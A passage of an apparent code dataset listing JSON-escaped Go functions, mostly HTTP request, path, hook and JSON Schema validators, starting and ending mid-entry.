http.ResponseWriter, r *http.Request) {\\n\\t\\tproduct := data.Product{}\\n\\t\\terr := product.FromJSON(r.Body)\\n\\t\\tif err != nil {\\n\\t\\t\\thttp.Error(w, \\\"unable to unmarshal json\\\", http.StatusBadRequest)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tctx := context.WithValue(r.Context(), KeyProduct{}, product)\\n\\t\\tnextRequest := r.WithContext(ctx)\\n\\t\\tnext.ServeHTTP(w, nextRequest)\\n\\t})\\n}\",\n \"func (r *DownloadFileRequest) Validate() error {\\n\\tif err := requireProject(r.GetProject()); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := requireCommittish(\\\"committish\\\", r.GetCommittish()); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif strings.HasPrefix(r.Path, \\\"/\\\") {\\n\\t\\treturn errors.New(\\\"path must not start with /\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func ReqValidatorFilter(w http.ResponseWriter, r *http.Request, _ httprouter.Params) bool {\\n\\tvar (\\n\\t\\tcontentLen int\\n\\t\\terr error\\n\\t)\\n\\tif s := r.Header.Get(\\\"Content-Length\\\"); s == \\\"\\\" {\\n\\t\\tcontentLen = -1\\n\\t} else if contentLen, err = strconv.Atoi(s); err != nil ||\\n\\t\\t(\\\"chunked\\\" == strings.ToLower(r.Header.Get(\\\"Transfer-Encoding\\\")) && contentLen > 0) {\\n\\t\\tw.WriteHeader(400)\\n\\t\\t_, _ = w.Write([]byte(\\\"Invalid request: chunked request with Content-Length\\\"))\\n\\t\\treturn true\\n\\t}\\n\\n\\tif \\\"trace\\\" == strings.ToLower(r.Method) {\\n\\t\\tw.WriteHeader(405)\\n\\t\\t_, _ = w.Write([]byte(\\\"Method Not Allowed\\\"))\\n\\t\\treturn true\\n\\t}\\n\\n\\tif \\\"options\\\" == strings.ToLower(r.Method) && util.IsNotLocalEnv() {\\n\\t\\tw.WriteHeader(405)\\n\\t\\t_, _ = w.Write([]byte(\\\"Method Not Allowed\\\"))\\n\\t\\treturn true\\n\\t}\\n\\treturn false\\n}\",\n \"func (o *DocumentUpdateInternalServerErrorBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\t// validation for a type composition with models.Error500Data\\n\\tif err := o.Error500Data.Validate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *DocRouter) RegisterAPI(app *gin.Engine) {\\n\\tapp.GET(\\\"/swagger/*any\\\", ginSwagger.WrapHandler(swaggerFiles.Handler))\\n}\",\n \"func ValidateRequestFromContext(c *fiber.Ctx, router routers.Router, options *Options) error {\\n\\n\\tr, err := adaptor.ConvertRequest(c, false)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\troute, pathParams, err := router.FindRoute(r)\\n\\n\\t// We failed to find a matching route for the request.\\n\\tif err != nil {\\n\\t\\tswitch e := err.(type) {\\n\\t\\tcase *routers.RouteError:\\n\\t\\t\\t// We've got a bad request, the path requested doesn't match\\n\\t\\t\\t// either server, or path, or something.\\n\\t\\t\\treturn errors.New(e.Reason)\\n\\t\\tdefault:\\n\\t\\t\\t// This should never happen today, but if our upstream code changes,\\n\\t\\t\\t// we don't want to crash the server, so handle the unexpected error.\\n\\t\\t\\treturn fmt.Errorf(\\\"error validating route: %s\\\", err.Error())\\n\\t\\t}\\n\\t}\\n\\n\\t// Validate request\\n\\trequestValidationInput := &openapi3filter.RequestValidationInput{\\n\\t\\tRequest: r,\\n\\t\\tPathParams: pathParams,\\n\\t\\tRoute: route,\\n\\t}\\n\\n\\t// Pass the fiber context into the request validator, so that any callbacks\\n\\t// which it invokes make it available.\\n\\trequestContext := context.WithValue(context.Background(), ctxKeyFiberContext{}, c) //nolint:staticcheck\\n\\n\\tif options != nil {\\n\\t\\trequestValidationInput.Options = &options.Options\\n\\t\\trequestValidationInput.ParamDecoder = options.ParamDecoder\\n\\t\\trequestContext = context.WithValue(requestContext, ctxKeyUserData{}, options.UserData) //nolint:staticcheck\\n\\t}\\n\\n\\terr = openapi3filter.ValidateRequest(requestContext, requestValidationInput)\\n\\tif err != nil {\\n\\t\\tme := openapi3.MultiError{}\\n\\t\\tif errors.As(err, &me) {\\n\\t\\t\\terrFunc := getMultiErrorHandlerFromOptions(options)\\n\\t\\t\\treturn errFunc(me)\\n\\t\\t}\\n\\n\\t\\tswitch e := err.(type) {\\n\\t\\tcase *openapi3filter.RequestError:\\n\\t\\t\\t// We've got a bad request\\n\\t\\t\\t// Split up the verbose error by lines and return the first one\\n\\t\\t\\t// openapi errors seem to be multi-line with a decent message on the first\\n\\t\\t\\terrorLines := strings.Split(e.Error(), \\\"\\\\n\\\")\\n\\t\\t\\treturn fmt.Errorf(\\\"error in openapi3filter.RequestError: %s\\\", errorLines[0])\\n\\t\\tcase *openapi3filter.SecurityRequirementsError:\\n\\t\\t\\treturn fmt.Errorf(\\\"error in openapi3filter.SecurityRequirementsError: %s\\\", e.Error())\\n\\t\\tdefault:\\n\\t\\t\\t// This should never happen today, but if our upstream code changes,\\n\\t\\t\\t// we don't want to crash the server, so handle the unexpected error.\\n\\t\\t\\treturn fmt.Errorf(\\\"error validating request: %w\\\", err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *PathValidator) Validate(r *http.Request) error {\\n\\tpath := r.URL.Path\\n\\tif !strings.HasPrefix(v.Path, \\\"/\\\") {\\n\\t\\tpath = strings.TrimPrefix(r.URL.Path, \\\"/\\\")\\n\\t}\\n\\treturn deepCompare(\\\"PathValidator\\\", v.Path, path)\\n}\",\n \"func Validate(ctx http.IContext, vld *validator.Validate, arg interface{}) bool {\\n\\n\\tif err := ctx.GetRequest().GetBodyAs(arg); err != nil {\\n\\t\\thttp.InternalServerException(ctx)\\n\\t\\treturn false\\n\\t}\\n\\n\\tswitch err := vld.Struct(arg); err.(type) {\\n\\tcase validator.ValidationErrors:\\n\\t\\thttp.FailedValidationException(ctx, err.(validator.ValidationErrors))\\n\\t\\treturn false\\n\\n\\tcase nil:\\n\\t\\tbreak\\n\\n\\tdefault:\\n\\t\\thttp.InternalServerException(ctx)\\n\\t\\treturn false\\n\\t}\\n\\n\\treturn true\\n}\",\n \"func (hook *Hook) Validate(extensionStages []string) (err error) {\\n\\tif hook == nil {\\n\\t\\treturn errors.New(\\\"nil hook\\\")\\n\\t}\\n\\n\\tif hook.Version != Version {\\n\\t\\treturn fmt.Errorf(\\\"unexpected hook version %q (expecting %v)\\\", hook.Version, Version)\\n\\t}\\n\\n\\tif hook.Hook.Path == \\\"\\\" {\\n\\t\\treturn errors.New(\\\"missing required property: hook.path\\\")\\n\\t}\\n\\n\\tif _, err := os.Stat(hook.Hook.Path); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tfor key, value := range hook.When.Annotations {\\n\\t\\tif _, err = regexp.Compile(key); err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"invalid annotation key %q: %w\\\", key, err)\\n\\t\\t}\\n\\t\\tif _, err = regexp.Compile(value); err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"invalid annotation value %q: %w\\\", value, err)\\n\\t\\t}\\n\\t}\\n\\n\\tfor _, command := range hook.When.Commands {\\n\\t\\tif _, err = regexp.Compile(command); err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"invalid command %q: %w\\\", command, err)\\n\\t\\t}\\n\\t}\\n\\n\\tif hook.Stages == nil {\\n\\t\\treturn errors.New(\\\"missing required property: stages\\\")\\n\\t}\\n\\n\\tvalidStages := map[string]bool{\\n\\t\\t\\\"createContainer\\\": true,\\n\\t\\t\\\"createRuntime\\\": true,\\n\\t\\t\\\"prestart\\\": true,\\n\\t\\t\\\"poststart\\\": true,\\n\\t\\t\\\"poststop\\\": true,\\n\\t\\t\\\"startContainer\\\": true,\\n\\t}\\n\\tfor _, stage := range extensionStages {\\n\\t\\tvalidStages[stage] = true\\n\\t}\\n\\n\\tfor _, stage := range hook.Stages {\\n\\t\\tif !validStages[stage] {\\n\\t\\t\\treturn fmt.Errorf(\\\"unknown stage %q\\\", stage)\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (h HTTPHealthCheckArgs) validate() error {\\n\\treturn nil\\n}\",\n \"func WithAPIValidation(v api.StructValidator) Option {\\n\\treturn func(o *Manager) {\\n\\t\\to.validator = v\\n\\t}\\n}\",\n \"func (o *DocumentUpdateBadRequestBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\t// validation for a type composition with models.Document400Data\\n\\tif err := o.Document400Data.Validate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func validateRestApi(ic astutils.InterfaceCollector) {\\n\\tif len(ic.Interfaces) == 0 {\\n\\t\\tpanic(errors.New(\\\"no service interface found\\\"))\\n\\t}\\n\\tsvcInter := ic.Interfaces[0]\\n\\tre := regexp.MustCompile(`anonystruct«(.*)»`)\\n\\tfor _, method := range svcInter.Methods {\\n\\t\\t// Append *multipart.FileHeader value to nonBasicTypes only once at most as multipart/form-data support multiple fields as file type\\n\\t\\tvar nonBasicTypes []string\\n\\t\\tcpmap := make(map[string]int)\\n\\t\\tfor _, param := range method.Params {\\n\\t\\t\\tif param.Type == \\\"context.Context\\\" {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tif re.MatchString(param.Type) {\\n\\t\\t\\t\\tpanic(\\\"not support anonymous struct as parameter\\\")\\n\\t\\t\\t}\\n\\t\\t\\tif !v3.IsBuiltin(param) {\\n\\t\\t\\t\\tptype := param.Type\\n\\t\\t\\t\\tif strings.HasPrefix(ptype, \\\"[\\\") || strings.HasPrefix(ptype, \\\"*[\\\") {\\n\\t\\t\\t\\t\\telem := ptype[strings.Index(ptype, \\\"]\\\")+1:]\\n\\t\\t\\t\\t\\tif elem == \\\"*multipart.FileHeader\\\" {\\n\\t\\t\\t\\t\\t\\tif _, exists := cpmap[elem]; !exists {\\n\\t\\t\\t\\t\\t\\t\\tcpmap[elem]++\\n\\t\\t\\t\\t\\t\\t\\tnonBasicTypes = append(nonBasicTypes, elem)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif ptype == \\\"*multipart.FileHeader\\\" {\\n\\t\\t\\t\\t\\tif _, exists := cpmap[ptype]; !exists {\\n\\t\\t\\t\\t\\t\\tcpmap[ptype]++\\n\\t\\t\\t\\t\\t\\tnonBasicTypes = append(nonBasicTypes, ptype)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tnonBasicTypes = append(nonBasicTypes, param.Type)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif len(nonBasicTypes) > 1 {\\n\\t\\t\\tpanic(\\\"Too many golang non-built-in type parameters, can't decide which one should be put into request body!\\\")\\n\\t\\t}\\n\\t\\tfor _, param := range method.Results {\\n\\t\\t\\tif re.MatchString(param.Type) {\\n\\t\\t\\t\\tpanic(\\\"not support anonymous struct as parameter\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func Validate(schema interface{}, errors []map[string]interface{}) {\\n\\t/**\\n\\t * create validator instance\\n\\t */\\n\\tvalidate := validator.New()\\n\\n\\tif err := validate.Struct(schema); err != nil {\\n\\t\\tif _, ok := err.(*validator.InvalidValidationError); ok {\\n\\t\\t\\terrors = append(errors, map[string]interface{}{\\n\\t\\t\\t\\t\\\"message\\\": fmt.Sprint(err), \\\"flag\\\": \\\"INVALID_BODY\\\"},\\n\\t\\t\\t)\\n\\t\\t}\\n\\n\\t\\tfor _, err := range err.(validator.ValidationErrors) {\\n\\t\\t\\terrors = append(errors, map[string]interface{}{\\n\\t\\t\\t\\t\\\"message\\\": fmt.Sprint(err), \\\"flag\\\": \\\"INVALID_BODY\\\"},\\n\\t\\t\\t)\\n\\t\\t}\\n\\t\\texception.BadRequest(\\\"Validation error\\\", errors)\\n\\t}\\n\\tif errors != nil {\\n\\t\\texception.BadRequest(\\\"Validation error\\\", errors)\\n\\t}\\n}\",\n \"func (s *Schema) validate(v interface{}) error {\\n\\tif s.Always != nil {\\n\\t\\tif !*s.Always {\\n\\t\\t\\treturn validationError(\\\"\\\", \\\"always fail\\\")\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif s.Ref != nil {\\n\\t\\tif err := s.Ref.validate(v); err != nil {\\n\\t\\t\\tfinishSchemaContext(err, s.Ref)\\n\\t\\t\\tvar refURL string\\n\\t\\t\\tif s.URL == s.Ref.URL {\\n\\t\\t\\t\\trefURL = s.Ref.Ptr\\n\\t\\t\\t} else {\\n\\t\\t\\t\\trefURL = s.Ref.URL + s.Ref.Ptr\\n\\t\\t\\t}\\n\\t\\t\\treturn validationError(\\\"$ref\\\", \\\"doesn't validate with %q\\\", refURL).add(err)\\n\\t\\t}\\n\\n\\t\\t// All other properties in a \\\"$ref\\\" object MUST be ignored\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif len(s.Types) > 0 {\\n\\t\\tvType := jsonType(v)\\n\\t\\tmatched := false\\n\\t\\tfor _, t := range s.Types {\\n\\t\\t\\tif vType == t {\\n\\t\\t\\t\\tmatched = true\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t} else if t == \\\"integer\\\" && vType == \\\"number\\\" {\\n\\t\\t\\t\\tif _, ok := new(big.Int).SetString(fmt.Sprint(v), 10); ok {\\n\\t\\t\\t\\t\\tmatched = true\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif !matched {\\n\\t\\t\\treturn validationError(\\\"type\\\", \\\"expected %s, but got %s\\\", strings.Join(s.Types, \\\" or \\\"), vType)\\n\\t\\t}\\n\\t}\\n\\n\\tif len(s.Constant) > 0 {\\n\\t\\tif !equals(v, s.Constant[0]) {\\n\\t\\t\\tswitch jsonType(s.Constant[0]) {\\n\\t\\t\\tcase \\\"object\\\", \\\"array\\\":\\n\\t\\t\\t\\treturn validationError(\\\"const\\\", \\\"const failed\\\")\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn validationError(\\\"const\\\", \\\"value must be %#v\\\", s.Constant[0])\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tif len(s.Enum) > 0 {\\n\\t\\tmatched := false\\n\\t\\tfor _, item := range s.Enum {\\n\\t\\t\\tif equals(v, item) {\\n\\t\\t\\t\\tmatched = true\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif !matched {\\n\\t\\t\\treturn validationError(\\\"enum\\\", s.enumError)\\n\\t\\t}\\n\\t}\\n\\n\\tif s.Not != nil && s.Not.validate(v) == nil {\\n\\t\\treturn validationError(\\\"not\\\", \\\"not failed\\\")\\n\\t}\\n\\n\\tfor i, sch := range s.AllOf {\\n\\t\\tif err := sch.validate(v); err != nil {\\n\\t\\t\\treturn validationError(\\\"allOf/\\\"+strconv.Itoa(i), \\\"allOf failed\\\").add(err)\\n\\t\\t}\\n\\t}\\n\\n\\tif len(s.AnyOf) > 0 {\\n\\t\\tmatched := false\\n\\t\\tvar causes []error\\n\\t\\tfor i, sch := range s.AnyOf {\\n\\t\\t\\tif err := sch.validate(v); err == nil {\\n\\t\\t\\t\\tmatched = true\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tcauses = append(causes, addContext(\\\"\\\", strconv.Itoa(i), err))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif !matched {\\n\\t\\t\\treturn validationError(\\\"anyOf\\\", \\\"anyOf failed\\\").add(causes...)\\n\\t\\t}\\n\\t}\\n\\n\\tif len(s.OneOf) > 0 {\\n\\t\\tmatched := -1\\n\\t\\tvar causes []error\\n\\t\\tfor i, sch := range s.OneOf {\\n\\t\\t\\tif err := sch.validate(v); err == nil {\\n\\t\\t\\t\\tif matched == -1 {\\n\\t\\t\\t\\t\\tmatched = i\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\treturn validationError(\\\"oneOf\\\", \\\"valid against schemas at indexes %d and %d\\\", matched, i)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tcauses = append(causes, addContext(\\\"\\\", strconv.Itoa(i), err))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif matched == -1 {\\n\\t\\t\\treturn validationError(\\\"oneOf\\\", \\\"oneOf failed\\\").add(causes...)\\n\\t\\t}\\n\\t}\\n\\n\\tif s.If != nil {\\n\\t\\tif s.If.validate(v) == nil {\\n\\t\\t\\tif s.Then != nil {\\n\\t\\t\\t\\tif err := s.Then.validate(v); err != nil {\\n\\t\\t\\t\\t\\treturn validationError(\\\"then\\\", \\\"if-then failed\\\").add(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tif s.Else != nil {\\n\\t\\t\\t\\tif err := s.Else.validate(v); err != nil {\\n\\t\\t\\t\\t\\treturn validationError(\\\"else\\\", \\\"if-else failed\\\").add(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tswitch v := v.(type) {\\n\\tcase map[string]interface{}:\\n\\t\\tif s.MinProperties != -1 && len(v) < s.MinProperties {\\n\\t\\t\\treturn validationError(\\\"minProperties\\\", \\\"minimum %d properties allowed, but found %d properties\\\", s.MinProperties, len(v))\\n\\t\\t}\\n\\t\\tif s.MaxProperties != -1 && len(v) > s.MaxProperties {\\n\\t\\t\\treturn validationError(\\\"maxProperties\\\", \\\"maximum %d properties allowed, but found %d properties\\\", s.MaxProperties, len(v))\\n\\t\\t}\\n\\t\\tif len(s.Required) > 0 {\\n\\t\\t\\tvar missing []string\\n\\t\\t\\tfor _, pname := range s.Required {\\n\\t\\t\\t\\tif _, ok := v[pname]; !ok {\\n\\t\\t\\t\\t\\tmissing = append(missing, strconv.Quote(pname))\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif len(missing) > 0 {\\n\\t\\t\\t\\treturn validationError(\\\"required\\\", \\\"missing properties: %s\\\", strings.Join(missing, \\\", \\\"))\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tvar additionalProps map[string]struct{}\\n\\t\\tif s.AdditionalProperties != nil {\\n\\t\\t\\tadditionalProps = make(map[string]struct{}, len(v))\\n\\t\\t\\tfor pname := range v {\\n\\t\\t\\t\\tadditionalProps[pname] = struct{}{}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif len(s.Properties) > 0 {\\n\\t\\t\\tfor pname, pschema := range s.Properties {\\n\\t\\t\\t\\tif pvalue, ok := v[pname]; ok {\\n\\t\\t\\t\\t\\tdelete(additionalProps, pname)\\n\\t\\t\\t\\t\\tif err := pschema.validate(pvalue); err != nil {\\n\\t\\t\\t\\t\\t\\treturn addContext(escape(pname), \\\"properties/\\\"+escape(pname), err)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif s.PropertyNames != nil {\\n\\t\\t\\tfor pname := range v {\\n\\t\\t\\t\\tif err := s.PropertyNames.validate(pname); err != nil {\\n\\t\\t\\t\\t\\treturn addContext(escape(pname), \\\"propertyNames\\\", err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif s.RegexProperties {\\n\\t\\t\\tfor pname := range v {\\n\\t\\t\\t\\tif !formats.IsRegex(pname) {\\n\\t\\t\\t\\t\\treturn validationError(\\\"\\\", \\\"patternProperty %q is not valid regex\\\", pname)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tfor pattern, pschema := range s.PatternProperties {\\n\\t\\t\\tfor pname, pvalue := range v {\\n\\t\\t\\t\\tif pattern.MatchString(pname) {\\n\\t\\t\\t\\t\\tdelete(additionalProps, pname)\\n\\t\\t\\t\\t\\tif err := pschema.validate(pvalue); err != nil {\\n\\t\\t\\t\\t\\t\\treturn addContext(escape(pname), \\\"patternProperties/\\\"+escape(pattern.String()), err)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif s.AdditionalProperties != nil {\\n\\t\\t\\tif _, ok := s.AdditionalProperties.(bool); ok {\\n\\t\\t\\t\\tif len(additionalProps) != 0 {\\n\\t\\t\\t\\t\\tpnames := make([]string, 0, len(additionalProps))\\n\\t\\t\\t\\t\\tfor pname := range additionalProps {\\n\\t\\t\\t\\t\\t\\tpnames = append(pnames, strconv.Quote(pname))\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\treturn validationError(\\\"additionalProperties\\\", \\\"additionalProperties %s not allowed\\\", strings.Join(pnames, \\\", \\\"))\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tschema := s.AdditionalProperties.(*Schema)\\n\\t\\t\\t\\tfor pname := range additionalProps {\\n\\t\\t\\t\\t\\tif pvalue, ok := v[pname]; ok {\\n\\t\\t\\t\\t\\t\\tif err := schema.validate(pvalue); err != nil {\\n\\t\\t\\t\\t\\t\\t\\treturn addContext(escape(pname), \\\"additionalProperties\\\", err)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tfor dname, dvalue := range s.Dependencies {\\n\\t\\t\\tif _, ok := v[dname]; ok {\\n\\t\\t\\t\\tswitch dvalue := dvalue.(type) {\\n\\t\\t\\t\\tcase *Schema:\\n\\t\\t\\t\\t\\tif err := dvalue.validate(v); err != nil {\\n\\t\\t\\t\\t\\t\\treturn addContext(\\\"\\\", \\\"dependencies/\\\"+escape(dname), err)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\tcase []string:\\n\\t\\t\\t\\t\\tfor i, pname := range dvalue {\\n\\t\\t\\t\\t\\t\\tif _, ok := v[pname]; !ok {\\n\\t\\t\\t\\t\\t\\t\\treturn validationError(\\\"dependencies/\\\"+escape(dname)+\\\"/\\\"+strconv.Itoa(i), \\\"property %q is required, if %q property exists\\\", pname, dname)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\tcase []interface{}:\\n\\t\\tif s.MinItems != -1 && len(v) < s.MinItems {\\n\\t\\t\\treturn validationError(\\\"minItems\\\", \\\"minimum %d items allowed, but found %d items\\\", s.MinItems, len(v))\\n\\t\\t}\\n\\t\\tif s.MaxItems != -1 && len(v) > s.MaxItems {\\n\\t\\t\\treturn validationError(\\\"maxItems\\\", \\\"maximum %d items allowed, but found %d items\\\", s.MaxItems, len(v))\\n\\t\\t}\\n\\t\\tif s.UniqueItems {\\n\\t\\t\\tfor i := 1; i < len(v); i++ {\\n\\t\\t\\t\\tfor j := 0; j < i; j++ {\\n\\t\\t\\t\\t\\tif equals(v[i], v[j]) {\\n\\t\\t\\t\\t\\t\\treturn validationError(\\\"uniqueItems\\\", \\\"items at index %d and %d are equal\\\", j, i)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tswitch items := s.Items.(type) {\\n\\t\\tcase *Schema:\\n\\t\\t\\tfor i, item := range v {\\n\\t\\t\\t\\tif err := items.validate(item); err != nil {\\n\\t\\t\\t\\t\\treturn addContext(strconv.Itoa(i), \\\"items\\\", err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\tcase []*Schema:\\n\\t\\t\\tif additionalItems, ok := s.AdditionalItems.(bool); ok {\\n\\t\\t\\t\\tif !additionalItems && len(v) > len(items) {\\n\\t\\t\\t\\t\\treturn validationError(\\\"additionalItems\\\", \\\"only %d items are allowed, but found %d items\\\", len(items), len(v))\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tfor i, item := range v {\\n\\t\\t\\t\\tif i < len(items) {\\n\\t\\t\\t\\t\\tif err := items[i].validate(item); err != nil {\\n\\t\\t\\t\\t\\t\\treturn addContext(strconv.Itoa(i), \\\"items/\\\"+strconv.Itoa(i), err)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t} else if sch, ok := s.AdditionalItems.(*Schema); ok {\\n\\t\\t\\t\\t\\tif err := sch.validate(item); err != nil {\\n\\t\\t\\t\\t\\t\\treturn addContext(strconv.Itoa(i), \\\"additionalItems\\\", err)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif s.Contains != nil {\\n\\t\\t\\tmatched := false\\n\\t\\t\\tvar causes []error\\n\\t\\t\\tfor i, item := range v {\\n\\t\\t\\t\\tif err := s.Contains.validate(item); err != nil {\\n\\t\\t\\t\\t\\tcauses = append(causes, addContext(strconv.Itoa(i), \\\"\\\", err))\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tmatched = true\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif !matched {\\n\\t\\t\\t\\treturn validationError(\\\"contains\\\", \\\"contains failed\\\").add(causes...)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\tcase string:\\n\\t\\tif s.MinLength != -1 || s.MaxLength != -1 {\\n\\t\\t\\tlength := utf8.RuneCount([]byte(v))\\n\\t\\t\\tif s.MinLength != -1 && length < s.MinLength {\\n\\t\\t\\t\\treturn validationError(\\\"minLength\\\", \\\"length must be >= %d, but got %d\\\", s.MinLength, length)\\n\\t\\t\\t}\\n\\t\\t\\tif s.MaxLength != -1 && length > s.MaxLength {\\n\\t\\t\\t\\treturn validationError(\\\"maxLength\\\", \\\"length must be <= %d, but got %d\\\", s.MaxLength, length)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif s.Pattern != nil && !s.Pattern.MatchString(v) {\\n\\t\\t\\treturn validationError(\\\"pattern\\\", \\\"does not match pattern %q\\\", s.Pattern)\\n\\t\\t}\\n\\t\\tif s.Format != nil && !s.Format(v) {\\n\\t\\t\\treturn validationError(\\\"format\\\", \\\"%q is not valid %q\\\", v, s.FormatName)\\n\\t\\t}\\n\\n\\t\\tvar content []byte\\n\\t\\tif s.Decoder != nil {\\n\\t\\t\\tb, err := s.Decoder(v)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn validationError(\\\"contentEncoding\\\", \\\"%q is not %s encoded\\\", v, s.ContentEncoding)\\n\\t\\t\\t}\\n\\t\\t\\tcontent = b\\n\\t\\t}\\n\\t\\tif s.MediaType != nil {\\n\\t\\t\\tif s.Decoder == nil {\\n\\t\\t\\t\\tcontent = []byte(v)\\n\\t\\t\\t}\\n\\t\\t\\tif err := s.MediaType(content); err != nil {\\n\\t\\t\\t\\treturn validationError(\\\"contentMediaType\\\", \\\"value is not of mediatype %q\\\", s.ContentMediaType)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\tcase json.Number, float64, int, int32, int64:\\n\\t\\tnum, _ := new(big.Float).SetString(fmt.Sprint(v))\\n\\t\\tif s.Minimum != nil && num.Cmp(s.Minimum) < 0 {\\n\\t\\t\\treturn validationError(\\\"minimum\\\", \\\"must be >= %v but found %v\\\", s.Minimum, v)\\n\\t\\t}\\n\\t\\tif s.ExclusiveMinimum != nil && num.Cmp(s.ExclusiveMinimum) <= 0 {\\n\\t\\t\\treturn validationError(\\\"exclusiveMinimum\\\", \\\"must be > %v but found %v\\\", s.ExclusiveMinimum, v)\\n\\t\\t}\\n\\t\\tif s.Maximum != nil && num.Cmp(s.Maximum) > 0 {\\n\\t\\t\\treturn validationError(\\\"maximum\\\", \\\"must be <= %v but found %v\\\", s.Maximum, v)\\n\\t\\t}\\n\\t\\tif s.ExclusiveMaximum != nil && num.Cmp(s.ExclusiveMaximum) >= 0 {\\n\\t\\t\\treturn validationError(\\\"exclusiveMaximum\\\", \\\"must be < %v but found %v\\\", s.ExclusiveMaximum, v)\\n\\t\\t}\\n\\t\\tif s.MultipleOf != nil {\\n\\t\\t\\tif q := new(big.Float).Quo(num, s.MultipleOf); !q.IsInt() {\\n\\t\\t\\t\\treturn validationError(\\\"multipleOf\\\", \\\"%v not multipleOf %v\\\", v, s.MultipleOf)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func ValidateSchemaInBody(weaviateSchema *models.SemanticSchema, bodySchema *models.Schema, className string, dbConnector dbconnector.DatabaseConnector, serverConfig *config.WeaviateConfig) error {\\n\\t// Validate whether the class exists in the given schema\\n\\t// Get the class by its name\\n\\tclass, err := schema.GetClassByName(weaviateSchema, className)\\n\\n\\t// Return the error, in this case that the class is not found\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Validate whether the properties exist in the given schema\\n\\t// Get the input properties from the bodySchema in readable format\\n\\tisp := *bodySchema\\n\\n\\tif isp == nil {\\n\\t\\treturn 